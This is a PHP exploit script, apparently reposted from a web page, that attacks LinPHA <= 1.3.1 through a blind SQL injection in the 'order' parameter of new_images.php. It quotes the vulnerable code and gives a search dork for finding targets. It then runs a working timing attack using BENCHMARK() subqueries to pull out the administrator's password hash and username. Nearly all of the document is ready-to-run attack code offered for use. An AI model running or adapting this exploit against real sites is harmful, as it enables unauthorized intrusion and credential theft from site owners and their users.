|
<?php
/*
LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection
Hash Fishing Exploit / BENCHMARK() method
author...: EgiX
mail.....: n0b0d1es[at]hotmail[dot]com
link.....: http://linpha.sourceforge.net/
dork.....: "LinPHA Version 1.3.x" or "The LinPHA developers"
vulnerable code in /include/img_view.class.php:
183. function setDefaultOrder($default_order)
184. {
185. if(isset($_REQUEST['order']))
186. {
187. $this->order = $_REQUEST['order'];
188.
189. if($default_order != $_REQUEST['order'])
190. {
191. $this->link_address .= '&order='.$_REQUEST['order'];
192. }
193. }
194. else
195. {
196. $this->order = $default_order;
197. }
198. }
199.
200. //
201. // set sql query string
202. //
203. function setSql($sql_begin,$sql_where)
204. {
205. $this->sql_where = $sql_where." ".sql_perm()." AND ".
206. PREFIX."photos.prev_path LIKE ".$GLOBALS['db']->Concat(PREFIX."first_lev_album.path","'%'").
207. " ORDER by ".P.".".get_thumb_order($this->order); <-- BUG
208.
209. if(empty($sql_begin))
210. {
211. $sql_begin = "SELECT ".P.".id AS id, ".P.".name As name, ".P.".filename AS filename, " .
212. "".P.".prev_path AS prev_path, ".P.".date AS date, " .
213. "".P.".level AS level, ".P.".md5sum AS md5sum";
214.
215. }
216. $this->sql = $sql_begin.$this->sql_where;
217. $query = $GLOBALS['db']->Execute($this->sql);
218. $this->num_photos = $query->RecordCount();
219. }
$_REQUEST['order'] ('$this->order') parameter isn't properly sanitised, so we should be able (with MySQL version 4.1 or higher)
to inject sql code in a subquery after 'ORDER by' statement...we can retrive admin credentials with BENCHMARK() function!
Too see table prefix: http://[host]/[linpha]/new_images.php?order=foo
*/
error_reporting(0);
ini_set("default_socket_timeout",5);
set_time_limit(0);
function http_send($host, $packet)
{
$i = 0;
$sock = fsockopen($host, 80);
while (!$sock)
{
if ($i++ == 10) die();
print "\n[-] No response from ".$host.":80 Trying again...\n";
$sock = fsockopen($host,$port);
sleep(1);
}
fputs($sock, $packet);
$resp = "";
while (!feof($sock)) $resp .= fread($sock, 1);
fclose($sock);
return $resp;
}
function getmicrotime()
{
list($usec, $sec) = explode(" ", microtime());
return ((float)$usec + (float)$sec);
}
function getdelay($query)
{
global $host, $path;
$pck = "GET ".$path."new_images.php?order=$query HTTP/1.1\r\n";
$pck.= "Host: ".$host."\r\n";
$pck.= "Keep-Alive: 300\r\n";
$pck.= "Connection: keep-alive\r\n\r\n";
$start = getmicrotime()*1000;
http_send($host, $pck);
$end = getmicrotime()*1000;
return ($end - $start);
}
function normaldelay()
{
global $count, $prefix, $uid;
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=0,BENCHMARK(".$count.",MD5(1)),0)))";
$d1 = getdelay($sql);
$d2 = getdelay($sql);
$d3 = getdelay($sql);
$m = ($d1 + $d2 + $d3) / 3;
return (intval($m));
}
function benchmarkdelay()
{
global $count, $prefix, $uid;
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/AND/**/RAND(IF(1=1,BENCHMARK(".$count.",MD5(1)),0)))";
$d1 = getdelay($sql);
$d2 = getdelay($sql);
$d3 = getdelay($sql);
$m = ($d1 + $d2 + $d3) / 3;
return (intval($m));
}
function check_query($query)
{
global $ndelay;
$ret = false;
$d = intval(getdelay($query));
if ($d > ($ndelay * 2)) $ret = true;
return $ret;
}
function check_target()
{
// see if MySQL version is >= 4.1 (subqueries support) or other error
global $host, $path;
print "\n[-] Checking $host...";
$pck = "GET ".$path."new_images.php?order=id,(SELECT/**/1) HTTP/1.1\r\n";
$pck.= "Host: ".$host."\r\n";
$pck.= "Keep-Alive: 300\r\n";
$pck.= "Connection: keep-alive\r\n\r\n";
$buff = http_send($host, $pck);
if (!strpos($buff, "The LinPHA developers"))
die("\n\n[-] Error... Probably wrong MySQL version!\n");
else
print " OK!\n";
}
print "\n+-----------------------------------------------------------------------------+";
print "\n| LinPHA <= 1.3.1 (new_images.php) Remote Blind SQL Injection Exploit by EgiX |";
print "\n+-----------------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage: php $argv[0] host path [delay] [prefix] [userid]\n";
print "\nhost: target server (ip/hostname)";
print "\npath: path to linpha directory";
print "\ndelay: delay for BENCHMARK() (dafault: 1000000)";
print "\nprefix: table's prefix (default: linpha)";
print "\nuserid: user id (default: 1 - admin)\n";
print "\nExample: php $argv[0] localhost /linpha/";
print "\nExample: php $argv[0] localhost / 2000000 other_prefix 2\n";
die();
}
$host = $argv[1];
$path = $argv[2];
$count = (isset($argv[3]) ? $argv[3] : 1000000);
$prefix = (isset($argv[4]) ? $argv[4] : "linpha");
$uid = (isset($argv[5]) ? $argv[5] : "1");
check_target();
print "\n[-] Testing delay time...";
$ndelay = normaldelay();
print "\n[-] Normal delay: $ndelay ms";
$bdelay = benchmarkdelay();
print "\n[-] Benchmark delay: $bdelay ms\n";
$hash = array(0,48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102);
$index = 1; $md5 = "";
print "\n[-] MD5 Hash: ";
while (!strpos($md5, chr(0)))
{
for ($i = 0; $i <= count($hash); $i++)
{
if ($i == count($hash)) die("\n[-] Exploit failed...\n");
$sql = "id,(SELECT/**/password/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" .
"RAND(IF((ORD(SUBSTRING(password,".$index.",1))=".$hash[$i]."),BENCHMARK(".$count.",MD5(1)),1)))";
if (check_query($sql))
{
$md5 .= chr($hash[$i]);
print chr($hash[$i]);
break;
}
}
$index++;
}
$char = array(0); // null char
for ($j = 97; $j <= 122; $j++) $char = array_merge($char, array($j)); // a-z
for ($j = 65; $j <= 90; $j++) $char = array_merge($char, array($j)); // A-Z
for ($j = 48; $j <= 57; $j++) $char = array_merge($char, array($j)); // 0-9
$index = 1; $user = "";
print "\n[-] Username: ";
while (!strpos($user, chr(0)))
{
for ($i = 0; $i <= count($hash); $i++)
{
if ($i == count($hash)) die("\n[-] Exploit failed...\n");
$sql = "id,(SELECT/**/nickname/**/FROM/**/".$prefix."_users/**/WHERE/**/id=".$uid."/**/OR/**/" .
"RAND(IF((ORD(SUBSTRING(nickname,".$index.",1))=".$char[$i]."),BENCHMARK(".$count.",MD5(1)),1)))";
if (check_query($sql))
{
$user .= chr($char[$i]);
print chr($char[$i]);
break;
}
}
$index++;
}
print "\n\n[-] Successfull!\n";
?>
|
| |
|
推荐
评论(0条)
